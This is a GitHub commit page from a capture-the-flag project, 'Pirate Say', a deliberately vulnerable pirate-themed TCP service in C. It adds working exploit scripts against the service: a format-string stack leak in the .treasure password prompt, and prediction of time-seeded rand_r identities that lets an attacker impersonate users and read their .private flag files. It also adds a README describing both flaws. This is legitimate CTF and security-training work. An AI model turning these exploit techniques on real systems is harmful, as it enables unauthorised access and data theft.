Skip to content

Commit

Permalink
bambixploits and first version of binary patches
Browse files Browse the repository at this point in the history
  • Loading branch information
ignisco committed Jul 16, 2024
1 parent 1a7b53d commit 736e4fd
Show file tree
Hide file tree
Showing 10 changed files with 182 additions and 21 deletions.
7 changes: 4 additions & 3 deletions debug/bambixploit_exploit1.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,8 @@

import requests

TARGET = sys.argv[1] # The target's ip address is passed as an command line argument
TARGET = "10.1.6.1" # Actual target, since for the perma setup it is only running on one host
ATTACK_INFO_TARGET = sys.argv[1] # The target's ip address is passed as an command line argument
PORT = 4444

def recv_until_prompt(s, prompt):
Expand Down Expand Up @@ -49,7 +50,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]):
recv_until_prompt(s, b': ')

# Send the format string exploit as the password
s.sendall(b'%31$llx.%32$llx\n')
s.sendall(b'%26$llx.%27$llx\n')
incorrect_message = recv_until_prompt(s, b'$ ').decode()

# Extract the two addresses from the incorrect message
Expand All @@ -71,7 +72,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]):
# Bambi CTF / ENOWARS flag hints:
attack_info = requests.get('http://10.0.13.37:5001/scoreboard/attack.json').json()
service_info = attack_info['services']['piratesay']
team_info = service_info[TARGET] # Get the information for the current target
team_info = service_info[ATTACK_INFO_TARGET] # Get the information for the current target
threads = []
for round_nr in team_info:
round_info = team_info[round_nr]
Expand Down
49 changes: 38 additions & 11 deletions debug/bambixploit_exploit2.py
Original file line number Diff line number Diff line change
Expand Up @@ -67,12 +67,14 @@
# Load the C standard library
libc = ctypes.CDLL(None)

# Set argument and return types
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int
# Set argument and return types for rand_r
libc.rand_r.argtypes = [ctypes.POINTER(ctypes.c_uint)]
libc.rand_r.restype = ctypes.c_int

def generate_identity_string():
return ''.join(chr(ord('a') + (libc.rand() % 26)) for _ in range(IDENTITY_LENGTH))
def generate_identity_string(state):
state_ptr = ctypes.c_uint(state)
identity_string = ''.join(chr(ord('a') + (libc.rand_r(ctypes.byref(state_ptr)) % 26)) for _ in range(IDENTITY_LENGTH))
return identity_string, state_ptr.value

def get_unix_time_from_string(date_string):
# Format of date_string: "2024-07-15 11:35:24"
Expand Down Expand Up @@ -129,8 +131,17 @@ def recv_until_prompt(prompt):
def get_matching_identites(seed, current_identity, target_file):

# Generate all potential identities up to the current one
libc.srand(seed)
seed = 491621266
for i in range(10000000):
identity, seed = generate_identity_string(seed)
if i % 10000 == 0:
print(f"Generated {i} identities")
print("Current seed:", seed)
print("Next is then identity:", identity)

print("Finished generating identities")
potential_identities = []
iteration = 0
while True:
identity_string = generate_identity_string()
potential_identities.append(identity_string)
Expand Down Expand Up @@ -175,22 +186,38 @@ def recv_until_prompt(prompt):
return response


TARGET = sys.argv[1] # The target's ip address is passed as an command line argument
TARGET = "10.1.6.1" # Actual target, since for the perma setup it is only running on one host
ATTACK_INFO_TARGET = sys.argv[1] # The target's ip address is passed as an command line argument
PORT = 4444

def exploit(hint: Optional[str], flag_store: Optional[int]):
print(f'Attacking {TARGET} (flag_store={flag_store}, hint={hint})')

# TODO implement exploit
print("Starting")

private_dir, private_file = hint.split('/')

seed, current_identity = get_seed_and_current_identity(TARGET, PORT)
print("Finished getting seed and current identity")
print(f"Seed: {seed}, Current Identity: {current_identity}")
matching_identities = get_matching_identites(seed, current_identity, private_file)

# In case a service is running for the entire duration of the CTF,
# we will only look at the last 1000 identities
matching_identities = matching_identities[-1000:]

print("Finished finding matches")


responses = []
for identity in matching_identities:
resp = process_identity(identity, private_file, private_dir, TARGET, PORT)
responses.append(resp)

# Use ThreadPoolExecutor to parallelize the process_identity function
with ThreadPoolExecutor() as executor:
responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities)
# # Use ThreadPoolExecutor to parallelize the process_identity function
# with ThreadPoolExecutor() as executor:
# responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities)

# Iterate over the responses to find the flag
for response in responses:
Expand All @@ -203,7 +230,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]):
# Bambi CTF / ENOWARS flag hints:
attack_info = requests.get('http://10.0.13.37:5001/scoreboard/attack.json').json()
service_info = attack_info['services']['piratesay']
team_info = service_info[TARGET] # Get the information for the current target
team_info = service_info[ATTACK_INFO_TARGET] # Get the information for the current target
threads = []
for round_nr in team_info:
round_info = team_info[round_nr]
Expand Down
88 changes: 88 additions & 0 deletions debug/bambixploit_state_getter.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
import ctypes
import re
import socket
import sys
import time

IDENTITY_LENGTH = 64

# Load the C standard library
libc = ctypes.CDLL(None)

# Set argument and return types for rand_r
libc.rand_r.argtypes = [ctypes.POINTER(ctypes.c_uint)]
libc.rand_r.restype = ctypes.c_int

def generate_identity_string(state):
state_ptr = ctypes.c_uint(state)
identity_string = ''.join(chr(ord('a') + (libc.rand_r(ctypes.byref(state_ptr)) % 26)) for _ in range(IDENTITY_LENGTH))
return identity_string, state_ptr.value

def get_unix_time_from_string(date_string):
# Format of date_string: "2024-07-15 11:35:24"
return int(time.mktime(time.strptime(date_string, "%Y-%m-%d %H:%M:%S")))

TARGET = sys.argv[1] # The target's ip address is passed as an command line argument
PORT = 4444

def get_seed_and_current_identity(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))

# Receive the initial server message
def recv_until_prompt(prompt):
data = b''
while not data.endswith(prompt):
data += s.recv(1024)
return data

initial_message = recv_until_prompt(b'$ ').decode()
# Extract the timestamp from the initial message
match = re.search(r'\(Pirate Say v1.0.0, up since (.+?)\)', initial_message)
if match:
seed_string = match.group(1)
seed = get_unix_time_from_string(seed_string)
else:
print("Failed to extract seed from server message")
exit(1)

# Get the current identity
s.sendall(b'identity\n')
identity_response = recv_until_prompt(b': ').decode()
s.sendall(b'\n') # Keeping current identity
recv_until_prompt(b'$ ')
current_identity = identity_response.split("\n")[0].split(":")[1].strip()
return seed, current_identity

# 1. Try to read state.txt if it exists
try:
with open("state.txt", "r") as f:
state = int(f.readline())
match = f.readline().strip()
except FileNotFoundError:
# 1. Get starting seed and current identity by connecting
state, match = get_seed_and_current_identity(TARGET, PORT)
with open("state.txt", "w") as f:
f.writelines([str(state), "\n", match])

# 2. Generate identity strings until we find the correct one, print every Nth identity
# start_seed = 1721065234
N = 100000
BACK = 10000
i = 1
states = []
while True:
identity, state = generate_identity_string(state)
if identity == match:
print(f"Found matching identity: {identity}")
break
if i % N == 0:
print(f"State at {i}: {state}")
states.append(state)
i += 1

# 3. Print the final state
print(f"Match found! State: {state}")
print(f"Storing state {N} steps past, as they might include active flags")
with open("state.txt", "w") as f:
f.writelines([str(state), "\n", match])
7 changes: 5 additions & 2 deletions documentation/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,15 +4,18 @@ Pirate Say is a TCP-server written in C that presents itself as a pirate-themed

- .log files: these are standard log files without any password protection
- .treasure files: these files are protected by a password input that contain a format string vulnerability
- .private files: these files are associated with a specific user. However, there is a weekness in using the server's startup time to seed the random numbers. Combined with the option to change your "identity string" when connected, this allows us to pose as other users.

# Vulnerabilities

## Vulnerability #1 - Parrot echoes password back

- Category: Format string
- Difficulty: Medium
- Difficulty: Easy/Medium

When trying to access .treasure files, the guarding parrot echoes back your words after each attempt. However, her words are printed without format specifiers, meaning the attempted password "%p" would give back a pointer read from the stack.
When trying to access .treasure files, the guarding parrot echoes back your words after each attempt. However, its words are printed without format specifiers, meaning the attempted password "%p" would give back a pointer read from the stack.

Note: The code specifically prevents against %n by escaping the % (giving us %%n). The code is structured in a way to try to hide it, as it could be a partial give-away.

# Exploits

Expand Down
Binary file added documentation/piratesay_fully_patched
Binary file not shown.
Binary file added documentation/piratesay_patched_exploit2
Binary file not shown.
2 changes: 1 addition & 1 deletion service/entrypoint.sh
Original file line number Diff line number Diff line change
Expand Up @@ -22,4 +22,4 @@ make -C /src
exec su -s /bin/sh -c '/src/piratesay' service

# Keep the container running
tail -f /dev/null
# tail -f /dev/null
6 changes: 3 additions & 3 deletions service/src/a.py
Original file line number Diff line number Diff line change
Expand Up @@ -116,7 +116,7 @@ def recv_until_prompt(prompt):
current_identity = identity_response.split("\n")[0].split(":")[1].strip()

# Generate all potential identities up to the current one
libc.srand(seed)
libc.srand(0x3039)
potential_identities = []
while True:
identity_string = generate_identity_string()
Expand All @@ -127,8 +127,8 @@ def recv_until_prompt(prompt):
print("Match at offset:", len(potential_identities))

# The target file we're looking for
target_directory = "DeadMansBay"
target_file = "mythic_powder_monkey_found_shipwreck_2017-09-09_2055.private"
target_directory = "ParrotPerch"
target_file = "fearless_crowsnest_scam_2024-07-15_1924.private"
target_name = target_file.split('_')[0] + '_' + target_file.split('_')[1]

# Filter potential identities to find matching ones
Expand Down
40 changes: 40 additions & 0 deletions service/src/rand_finder.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
#include <stdio.h>

static unsigned long int next = 1;

void advance_rand_state(unsigned long int *state, unsigned int a, unsigned int c, unsigned int m, unsigned int k)
{
unsigned long int a_k = 1;
unsigned long int c_k = 0;
unsigned long int temp_a = a;
unsigned long int temp_c = c;

while (k > 0)
{
if (k & 1)
{
a_k = (a_k * temp_a) % m;
c_k = (c_k * temp_a + temp_c) % m;
}
temp_c = (temp_c * (temp_a + 1)) % m;
temp_a = (temp_a * temp_a) % m;
k >>= 1;
}

*state = (a_k * (*state) + c_k) % m;
}

int main()
{
unsigned long int state = 1; // Example initial state
unsigned int a = 1103515245;
unsigned int c = 12345;
unsigned int m = 1 << 31; // 2^31
unsigned int k = 1000;

advance_rand_state(&state, a, c, m, k);

printf("State after advancing 1000 steps: %lu\n", state);

return 0;
}
4 changes: 3 additions & 1 deletion service/src/server.c
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@
char root_dir[PATH_MAX];
int server_fd; // Make server_fd global so it can be accessed in the signal handler
time_t startup_time = 0;
int user_count = 0;

void handle_sigint(int sig)
{
Expand Down Expand Up @@ -126,7 +127,7 @@ void print_terminal_prompt(session_t *session)
char dir_message[PATH_MAX];
memset(dir_print, 0, sizeof(dir_print));
strcat(dir_print, session->local_dir);
safe_snprintf(dir_message, sizeof(dir_message), "\n%s%s:%s$ ", session->pirate_adjective, session->pirate_noun, dir_print);
safe_snprintf(dir_message, sizeof(dir_message), "\n%s%s(%d):%s$ ", session->pirate_adjective, session->pirate_noun, user_count, dir_print);
send(session->sock, dir_message, strlen(dir_message), 0);
}

Expand Down Expand Up @@ -268,6 +269,7 @@ int main()

char pirate_identity[65];
generate_random_identity(pirate_identity); // Generate a random identity
user_count++;

pid_t pid = fork();
if (pid < 0)
Expand Down

0 comments on commit 736e4fd

Please sign in to comment.